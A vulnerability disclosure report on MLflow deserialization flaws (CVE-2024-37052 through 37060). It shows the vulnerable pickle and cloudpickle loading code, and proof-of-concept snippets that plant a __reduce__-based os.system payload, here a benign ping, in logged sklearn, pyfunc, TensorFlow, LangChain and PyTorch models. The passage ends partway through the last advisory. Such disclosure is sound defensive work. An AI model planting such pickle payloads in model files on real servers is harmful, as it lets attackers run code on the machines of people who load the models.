MLflow
Vulnerability Report

Jun 04, 2024

Cloudpickle and Pickle Load on Sklearn Model Load Leading to Code Execution

CVE Number

CVE-2024-37052

CVE-2024-37053

Summary

A deserialization vulnerability exists in the sklearn/__init__.py file, within the function _load_model_from_local_file. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 1.1.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the sklearn/__init__.py file, within the function _load_model_from_local_file. This is called when the mlflow.sklearn.load_model function is called.

<span class="token keyword">def</span> <span class="token function">_load_model_from_local_file</span><span class="token punctuation">(</span>path<span class="token punctuation">,</span> serialization_format<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
    <span class="token keyword">with</span> open<span class="token punctuation">(</span>path<span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
   		 <span class="token keyword">if</span> serialization_format <span class="token operator">==</span> SERIALIZATION_FORMAT_PICKLE<span class="token punctuation">:</span>
   			 <span class="token keyword">return</span> pickle<span class="token punctuation">.</span>load<span class="token punctuation">(</span>f<span class="token punctuation">)</span>
   		 <span class="token keyword">elif</span> serialization_format <span class="token operator">==</span> SERIALIZATION_FORMAT_CLOUDPICKLE<span class="token punctuation">:</span>
   			 <span class="token keyword">import</span> cloudpickle
   			 <span class="token keyword">return</span> cloudpickle<span class="token punctuation">.</span>load<span class="token punctuation">(</span>f<span class="token punctuation">)</span>

An attacker can exploit this by injecting a pickle object that will execute arbitrary code when deserialized into a model. The attacker can then call the sklearn.log_model() function to serialize this model and log it to the tracking server. By default, cloudpickle.load is used on deserialization when the model is loaded. The serialization format can be set to ‘pickle’ when the model is logged in order to force the use of pickle.load() when the model is loaded. In the below example, the pickle object has been injected into the init method of the ElasticNet class.

<span class="token keyword">with</span> mlflow<span class="token punctuation">.</span>start_run<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    	lr <span class="token operator">=</span> ElasticNet<span class="token punctuation">(</span>alpha<span class="token operator">=</span>alpha<span class="token punctuation">,</span> l1_ratio<span class="token operator">=</span>l1_ratio<span class="token punctuation">,</span> random_state<span class="token operator">=</span><span class="token number">42</span><span class="token punctuation">)</span>
    	lr<span class="token punctuation">.</span>fit<span class="token punctuation">(</span>train_x<span class="token punctuation">,</span> train_y<span class="token punctuation">)</span>

    	<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

    	<span class="token comment"># Either upload model which will use default format of cloudpickle</span>
mlflow<span class="token punctuation">.</span>sklearn<span class="token punctuation">.</span>log_model<span class="token punctuation">(</span>lr<span class="token punctuation">,</span> artifact_path<span class="token operator">=</span><span class="token string">"model"</span><span class="token punctuation">,</span> registered_model_name<span class="token operator">=</span><span class="token string">"SklearnPickleDefault"</span><span class="token punctuation">)</span>

<span class="token comment"># Or upload model and set serialiazation format to pickle</span>
mlflow<span class="token punctuation">.</span>sklearn<span class="token punctuation">.</span>log_model<span class="token punctuation">(</span>lr<span class="token punctuation">,</span> artifact_path<span class="token operator">=</span><span class="token string">"model"</span><span class="token punctuation">,</span> registered_model_name<span class="token operator">=</span><span class="token string">"SklearnPickleDefault"</span><span class="token punctuation">,</span> serialization_format<span class="token operator">=</span><span class="token string">'pickle'</span>
<span class="token punctuation">)</span>

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

<span class="token keyword">import</span> mlflow
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
logged_model <span class="token operator">=</span> <span class="token string">"models:/SklearnPickleDefault/1"</span>
loaded_model <span class="token operator">=</span> mlflow<span class="token punctuation">.</span>sklearn<span class="token punctuation">.</span>load_model<span class="token punctuation">(</span>logged_model<span class="token punctuation">,</span> dst_path<span class="token operator">=</span><span class="token string">'/tmp/sklearn_model'</span><span class="token punctuation">)</span>

Cloudpickle Load on PyFunc Model Load Leading to Code Execution

CVE Number

CVE-2024-37054

Summary

A deserialization vulnerability exists within the mlflow/pyfunc/model.py file, within the function _load_pyfunc. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 0.9.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the mlflow/pyfunc/model.py file, within the function _load_context_model_and_signature. This is called when the mlflow.pyfunc.load_model function is called.

<span class="token keyword">def</span> <span class="token function">_load_context_model_and_signature</span><span class="token punctuation">(</span>
	model_path<span class="token punctuation">:</span> str<span class="token punctuation">,</span> model_config<span class="token punctuation">:</span> Optional<span class="token punctuation">[</span>Dict<span class="token punctuation">[</span>str<span class="token punctuation">,</span> Any<span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token operator">=</span> None
<span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
	<span class="token keyword">with</span> open<span class="token punctuation">(</span>os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>model_path<span class="token punctuation">,</span> python_model_subpath<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>
    		python_model <span class="token operator">=</span> cloudpickle<span class="token punctuation">.</span>load<span class="token punctuation">(</span>f<span class="token punctuation">)</span>

An attacker can exploit this by creating a wrapper for a pmdarima model that contains malicious code and use the mlflow.pyfunc.log_model() to log this to the target MLflow server.

<span class="token keyword">class</span> <span class="token class-name">PmdarimaWrapper</span><span class="token punctuation">(</span>mlflow<span class="token punctuation">.</span>pyfunc<span class="token punctuation">.</span>PythonModel<span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token keyword">def</span> <span class="token function">__init__</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>
    	<span class="token keyword">import</span> os

    	<span class="token keyword">class</span> <span class="token class-name">RunCommand</span><span class="token punctuation">:</span>
        	<span class="token keyword">def</span> <span class="token function">__reduce__</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>
            	<span class="token keyword">return</span> <span class="token punctuation">(</span>os<span class="token punctuation">.</span>system<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'ping -c 4 8.8.8.8'</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token punctuation">)</span>

    	self<span class="token punctuation">.</span>command <span class="token operator">=</span> RunCommand<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

<span class="token comment"># Log the model</span>
<span class="token keyword">with</span> mlflow<span class="token punctuation">.</span>start_run<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
	wrapper <span class="token operator">=</span> PmdarimaWrapper<span class="token punctuation">(</span><span class="token punctuation">)</span>
	mlflow<span class="token punctuation">.</span>pyfunc<span class="token punctuation">.</span>log_model<span class="token punctuation">(</span>
    		artifact_path<span class="token operator">=</span><span class="token string">"model"</span><span class="token punctuation">,</span>
    		python_model<span class="token operator">=</span>wrapper<span class="token punctuation">,</span>
    		registered_model_name<span class="token operator">=</span><span class="token string">"PyfuncPickleTest"</span>
	<span class="token punctuation">)</span>

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

<span class="token keyword">import</span> mlflow
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
logged_model <span class="token operator">=</span> <span class="token string">"models:/PyfuncPickleTest/1"</span>
loaded_model <span class="token operator">=</span> mlflow<span class="token punctuation">.</span>pyfunc<span class="token punctuation">.</span>load_model<span class="token punctuation">(</span>logged_model<span class="token punctuation">,</span> dst_path<span class="token operator">=</span><span class="token string">'/tmp/pyfunc_model'</span><span class="token punctuation">)</span>

Pickle Load on Pmdarima Model Load Leading to Code Execution

CVE Number

CVE-2024-37055

Summary

A deserialization vulnerability exists within the pmdarima/__init__.py file, within the function _load_model. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 1.24.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the pmdarima/__init__.py file, within the function _load_model. This is called when the mlflow.pmdarima.load_model function is called.

<span class="token keyword">def</span> <span class="token function">_load_model</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token keyword">with</span> open<span class="token punctuation">(</span>path<span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> pickled_model<span class="token punctuation">:</span>
    		<span class="token keyword">return</span> pickle<span class="token punctuation">.</span>load<span class="token punctuation">(</span>pickled_model<span class="token punctuation">)</span>

An attacker can exploit this by injecting a pickle object that will execute arbitrary code when deserialized into a model. The attacker can then call the pmdarima.log_model() function to serialize this model and log it to the tracking server. In the below example, the malicious pickle object has been injected into the init method within the _PmdarimaModelWrapper class in the file pmdarima/__init__.py, which is called through the auto_arima function. Before logging the model, editing the save_model function to force MLflow to pickle the attacker’s model is also required.

<span class="token keyword">with</span> mlflow<span class="token punctuation">.</span>start_run<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token comment"># Create the model</span>
	model <span class="token operator">=</span> pmdarima<span class="token punctuation">.</span>auto_arima<span class="token punctuation">(</span>train<span class="token punctuation">[</span><span class="token string">"sales"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> seasonal<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">,</span> m<span class="token operator">=</span><span class="token number">12</span><span class="token punctuation">)</span>
	<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
	<span class="token comment"># Log model</span>
	mlflow<span class="token punctuation">.</span>pmdarima<span class="token punctuation">.</span>log_model<span class="token punctuation">(</span>model<span class="token punctuation">,</span> ARTIFACT_PATH<span class="token punctuation">,</span> registered_model_name<span class="token operator">=</span><span class="token string">"PmdarimaTestModel"</span><span class="token punctuation">)</span>

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

<span class="token keyword">import</span> mlflow
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
logged_model <span class="token operator">=</span> <span class="token string">"models:/PmdarimaTestModel/1"</span>
loaded_model <span class="token operator">=</span> mlflow<span class="token punctuation">.</span>pmdarima<span class="token punctuation">.</span>load_model<span class="token punctuation">(</span>logged_model<span class="token punctuation">,</span> dst_path<span class="token operator">=</span><span class="token string">'/tmp/pmdarima_model'</span><span class="token punctuation">)</span>

Cloudpickle Load on LightGBM SciKit Learn Model Leading to Code Execution

CVE Number

CVE-2024-37056

Summary

A deserialization vulnerability exists within the mlflow/lightgbm/__init__.py file, within the function _load_model. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 1.23.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the mlflow/lightgbm/__init__.py file, within the function _load_model. This is called when the mlflow.lightgbm.load_model function is called.

<span class="token keyword">def</span> <span class="token function">_load_model</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
	<span class="token keyword">if</span> model_class <span class="token operator">==</span> <span class="token string">"lightgbm.basic.Booster"</span><span class="token punctuation">:</span>
    		<span class="token keyword">import</span> lightgbm <span class="token keyword">as</span> lgb
    		model <span class="token operator">=</span> lgb<span class="token punctuation">.</span>Booster<span class="token punctuation">(</span>model_file<span class="token operator">=</span>lgb_model_path<span class="token punctuation">)</span>
	<span class="token keyword">else</span><span class="token punctuation">:</span>
    	<span class="token comment"># LightGBM scikit-learn models are deserialized using Cloudpickle.</span>
    	<span class="token keyword">import</span> cloudpickle
    	<span class="token keyword">with</span> open<span class="token punctuation">(</span>lgb_model_path<span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>
        	model <span class="token operator">=</span> cloudpickle<span class="token punctuation">.</span>load<span class="token punctuation">(</span>f<span class="token punctuation">)</span>

An attacker can exploit this by injecting a pickle object that will execute arbitrary code when deserialized into a LightGBM sci-kit learn model. The attacker can then call the lightgbm.log_model() function to serialize this model and log it to the tracking server. In the below example, the malicious pickle object has been injected into the init method of the LGBMModel class within the lightgbm/sklearn.py file.

<span class="token comment"># Create and train a LightGBM model</span>
model <span class="token operator">=</span> lgb<span class="token punctuation">.</span>LGBMClassifier<span class="token punctuation">(</span><span class="token punctuation">)</span>
model<span class="token punctuation">.</span>fit<span class="token punctuation">(</span>X_train<span class="token punctuation">,</span> y_train<span class="token punctuation">)</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

<span class="token comment"># Start an MLflow run</span>
<span class="token keyword">with</span> mlflow<span class="token punctuation">.</span>start_run<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
	<span class="token comment"># Log the LightGBM model</span>
	mlflow<span class="token punctuation">.</span>lightgbm<span class="token punctuation">.</span>log_model<span class="token punctuation">(</span>model<span class="token punctuation">,</span> <span class="token string">"model"</span><span class="token punctuation">,</span> registered_model_name<span class="token operator">=</span><span class="token string">"LightGBMSklearnPickle"</span><span class="token punctuation">)</span>

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

<span class="token keyword">import</span> mlflow
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
logged_model <span class="token operator">=</span> <span class="token string">"models:/LightGBMSklearnPickle/1"</span>
loaded_model <span class="token operator">=</span> mlflow<span class="token punctuation">.</span>lightgbm<span class="token punctuation">.</span>load_model<span class="token punctuation">(</span>logged_model<span class="token punctuation">,</span> dst_path<span class="token operator">=</span><span class="token string">'/tmp/lightgbm_model'</span><span class="token punctuation">)</span>

Cloudpickle Load on TensorFlow Keras Model Leading to Code Execution

CVE Number

CVE-2024-37057

Summary

A deserialization vulnerability exists within the mlflow/tensorflow/__init__.py file, within the function _load_custom_objects. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 2.0.0rc0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

This vulnerability exists within the mlflow/tensorflow/__init__.py file, within the function _load_custom_objects. This is called when the mlflow.tensorflow.load_model function is called.

<span class="token keyword">def</span> <span class="token function">_load_custom_objects</span><span class="token punctuation">(</span>path<span class="token punctuation">,</span> file_name<span class="token punctuation">)</span><span class="token punctuation">:</span>
	custom_objects_path <span class="token operator">=</span> None
	<span class="token keyword">if</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>isdir<span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">:</span>
    	<span class="token keyword">if</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>isfile<span class="token punctuation">(</span>os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>path<span class="token punctuation">,</span> file_name<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
        	custom_objects_path <span class="token operator">=</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>path<span class="token punctuation">,</span> file_name<span class="token punctuation">)</span>
	<span class="token keyword">if</span> custom_objects_path <span class="token keyword">is</span> <span class="token operator">not</span> None<span class="token punctuation">:</span>
    	<span class="token keyword">import</span> cloudpickle
    	<span class="token keyword">with</span> open<span class="token punctuation">(</span>custom_objects_path<span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>
        	<span class="token keyword">return</span> cloudpickle<span class="token punctuation">.</span>load<span class="token punctuation">(</span>f<span class="token punctuation">)</span>

An attacker can exploit this by creating a custom function containing a pickle object that will execute arbitrary code when deserialized and adding it under the custom_objects parameter when calling the model.tensorflow.log_model() function to log the model to the server.

<span class="token comment"># Add the custom object to be pickled</span>
<span class="token keyword">def</span> <span class="token function">create_pickle</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token keyword">import</span> os
	<span class="token keyword">class</span> <span class="token class-name">RunCommand</span><span class="token punctuation">:</span>
    	<span class="token keyword">def</span> <span class="token function">__reduce__</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>
        	<span class="token keyword">return</span> <span class="token punctuation">(</span>os<span class="token punctuation">.</span>system<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'ping -c 4 8.8.8.8'</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
	<span class="token keyword">return</span> RunCommand<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

<span class="token comment"># Build and Compile the Model</span>
model <span class="token operator">=</span> Sequential<span class="token punctuation">(</span><span class="token punctuation">[</span>
	Dense<span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">,</span> activation<span class="token operator">=</span><span class="token string">'relu'</span><span class="token punctuation">,</span> input_shape<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
	Dense<span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">,</span> activation<span class="token operator">=</span><span class="token string">'relu'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
	Dense<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> activation<span class="token operator">=</span><span class="token string">'softmax'</span><span class="token punctuation">)</span>
<span class="token punctuation">]</span><span class="token punctuation">)</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

<span class="token comment"># Log the Model</span>
<span class="token keyword">with</span> mlflow<span class="token punctuation">.</span>start_run<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
	mlflow<span class="token punctuation">.</span>tensorflow<span class="token punctuation">.</span>log_model<span class="token punctuation">(</span>model<span class="token punctuation">,</span> <span class="token string">"model"</span><span class="token punctuation">,</span> custom_objects<span class="token operator">=</span><span class="token punctuation">{</span><span class="token string">'PickleFunction'</span><span class="token punctuation">:</span> create_pickle<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">,</span> registered_model_name<span class="token operator">=</span><span class="token string">"TensorFlowKerasPickle"</span><span class="token punctuation">)</span>

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

<span class="token keyword">import</span> mlflow
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
logged_model <span class="token operator">=</span> <span class="token string">"models:/TensorFlowKerasPickle/1"</span>
loaded_model <span class="token operator">=</span> mlflow<span class="token punctuation">.</span>tensorflow<span class="token punctuation">.</span>load_model<span class="token punctuation">(</span>logged_model<span class="token punctuation">,</span> dst_path<span class="token operator">=</span><span class="token string">'/tmp/tensorflow_model'</span><span class="token punctuation">)</span>

Cloudpickle Load on Langchain AgentExecutor Model Load Leading to Code Execution

CVE Number

CVE-2024-37058

Summary

A deserialization vulnerability exists within the mlflow/langchain/utils.py file, within the function _load_from_pickle. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 2.5.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the mlflow/langchain/utils.py file, within the function _load_from_pickle. This is called when the mlflow.langchain.load_model function is called.

<span class="token keyword">def</span> <span class="token function">_load_from_pickle</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token keyword">with</span> open<span class="token punctuation">(</span>path<span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>
    		<span class="token keyword">return</span> cloudpickle<span class="token punctuation">.</span>load<span class="token punctuation">(</span>f<span class="token punctuation">)</span>

An attacker can exploit this by building an AgentExecutor with Tools specially crafted to trigger the below elif statement within the _save_base_lcs function of the same utils.py file. The attacker could alter the code within this method, crafting a pickle object that will execute arbitrary code when deserialized and pass it to cloudpickle.dump().

<span class="token keyword">elif</span> isinstance<span class="token punctuation">(</span>model<span class="token punctuation">,</span> langchain<span class="token punctuation">.</span>agents<span class="token punctuation">.</span>agent<span class="token punctuation">.</span>AgentExecutor<span class="token punctuation">)</span><span class="token punctuation">:</span>
    	<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

    	<span class="token keyword">if</span> model<span class="token punctuation">.</span>tools<span class="token punctuation">:</span>
        	tools_data_path <span class="token operator">=</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>path<span class="token punctuation">,</span> _TOOLS_DATA_FILE_NAME<span class="token punctuation">)</span>
        	<span class="token keyword">try</span><span class="token punctuation">:</span>
            	<span class="token keyword">class</span> <span class="token class-name">RunCommand</span><span class="token punctuation">:</span>
                	<span class="token keyword">def</span> <span class="token function">__reduce__</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>
                    	<span class="token keyword">return</span> <span class="token punctuation">(</span>os<span class="token punctuation">.</span>system<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'ping -c 4 8.8.8.8'</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token punctuation">)</span>

            	command <span class="token operator">=</span> RunCommand<span class="token punctuation">(</span><span class="token punctuation">)</span>
            	<span class="token keyword">with</span> open<span class="token punctuation">(</span>tools_data_path<span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>
                	cloudpickle<span class="token punctuation">.</span>dump<span class="token punctuation">(</span>command<span class="token punctuation">,</span> f<span class="token punctuation">)</span>

This model can then be logged to the server at the specified tracking URI by calling the model.langchain.log_model() function.

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

<span class="token keyword">import</span> mlflow
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
logged_model <span class="token operator">=</span> <span class="token string">"models:/LangchainPickle/1"</span>
loaded_model <span class="token operator">=</span> mlflow<span class="token punctuation">.</span>langchain<span class="token punctuation">.</span>load_model<span class="token punctuation">(</span>logged_model<span class="token punctuation">,</span> dst_path<span class="token operator">=</span><span class="token string">'/tmp/langchain_model'</span><span class="token punctuation">)</span>

Cloudpickle Load on PyTorch Model Load Leading to Code Execution

CVE Number

CVE-2024-37059

Summary

A deserialization vulnerability exists within the mlflow/pytorch/__init__.py file, within the function _load_model. An attacker can inject a malicious pickle object into a model file on upload which will then be deserialized when the model is loaded, executing the malicious code on the victim machine.

Products Impacted

This vulnerability was introduced in version 0.5.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-94: Improper Control of Generation of Code (‘Code Injection’).

Details

This vulnerability exists within the mlflow/pytorch/__init__.py file, within the function _load_model. This is called when the mlflow.pytorch.load_model function is called.

<span class="token keyword">def</span> <span class="token function">_load_model</span><span class="token punctuation">(</span>path<span class="token punctuation">,</span> device<span class="token operator">=</span>None<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token keyword">import</span> torch
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

	<span class="token keyword">if</span> Version<span class="token punctuation">(</span>torch<span class="token punctuation">.</span>__version__<span class="token punctuation">)</span> <span class="token operator">>=</span> Version<span class="token punctuation">(</span><span class="token string">"1.5.0"</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    		pytorch_model <span class="token operator">=</span> torch<span class="token punctuation">.</span>load<span class="token punctuation">(</span>model_path<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>
	<span class="token keyword">else</span><span class="token punctuation">:</span>
    	<span class="token keyword">try</span><span class="token punctuation">:</span>
        	pytorch_model <span class="token operator">=</span> torch<span class="token punctuation">.</span>load<span class="token punctuation">(</span>model_path<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>

An attacker can exploit this by injecting a pickle object that will execute arbitrary code when deserialized into a PyTorch model upon build. When logging the specially crafted PyTorch model with MLflow, the model will be serialized via PyTorch’s torch.save function. This will be deserialized during model load, as the _load_model function calls PyTorch’s torch.load function, which will lead to the execution of the arbitrary code on the victim machine.

<span class="token keyword">class</span> <span class="token class-name">SimpleNet</span><span class="token punctuation">(</span>nn<span class="token punctuation">.</span>Module<span class="token punctuation">)</span><span class="token punctuation">:</span>
	<span class="token keyword">def</span> <span class="token function">__init__</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> input_size<span class="token punctuation">,</span> hidden_size<span class="token punctuation">,</span> num_classes<span class="token punctuation">)</span><span class="token punctuation">:</span>
    	<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
    	<span class="token keyword">import</span> os
    	<span class="token keyword">class</span> <span class="token class-name">RunCommand</span><span class="token punctuation">:</span>
        	<span class="token keyword">def</span> <span class="token function">__reduce__</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>
            		<span class="token keyword">return</span> <span class="token punctuation">(</span>os<span class="token punctuation">.</span>system<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'ping -c 4 8.8.8.8'</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token punctuation">)</span>

    	self<span class="token punctuation">.</span>command <span class="token operator">=</span> RunCommand<span class="token punctuation">(</span><span class="token punctuation">)</span>
	<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>

model <span class="token operator">=</span> SimpleNet<span class="token punctuation">(</span>input_size<span class="token punctuation">,</span> hidden_size<span class="token punctuation">,</span> num_classes<span class="token punctuation">)</span>

<span class="token keyword">with</span> mlflow<span class="token punctuation">.</span>start_run<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
	mlflow<span class="token punctuation">.</span>pytorch<span class="token punctuation">.</span>log_model<span class="token punctuation">(</span>model<span class="token punctuation">,</span> <span class="token string">"model"</span><span class="token punctuation">,</span> registered_model_name<span class="token operator">=</span><span class="token string">"PytorchTest"</span><span class="token punctuation">)</span>

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

<span class="token keyword">import</span> mlflow
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
logged_model <span class="token operator">=</span> <span class="token string">"models:/PytorchTest/1"</span>
loaded_model <span class="token operator">=</span> mlflow<span class="token punctuation">.</span>pytorch<span class="token punctuation">.</span>load_model<span class="token punctuation">(</span>logged_model<span class="token punctuation">,</span> dst_path<span class="token operator">=</span><span class="token string">'/tmp/pytorch_model'</span><span class="token punctuation">)</span>

Pickle Load on Recipe Run Leading to Code Execution

CVE Number

CVE-2024-37060

Summary

A deserialization vulnerability exists within the recipes/cards/__init__.py file within the class BaseCard, in the static method load. An attacker can create an MLProject Recipe containing a malicious pickle file (e.g. pickle.pkl) and a python script that calls BaseCard.load(pickle.pkl). The pickle file will be deserialized when the project is run leading to execution of the arbitrary code on the victim machine.

Products Impacted

This vulnerability was introduced in version 1.27.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the recipes/cards/__init__.py file within the class BaseCard, in the static method load.

@staticmethod
<span class="token keyword">def</span> <span class="token function">load</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">:</span>
    	<span class="token keyword">if</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>isdir<span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">:</span>
        	path <span class="token operator">=</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>path<span class="token punctuation">,</span> CARD_PICKLE_NAME<span class="token punctuation">)</span>
    	<span class="token keyword">with</span> open<span class="token punctuation">(</span>path<span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>
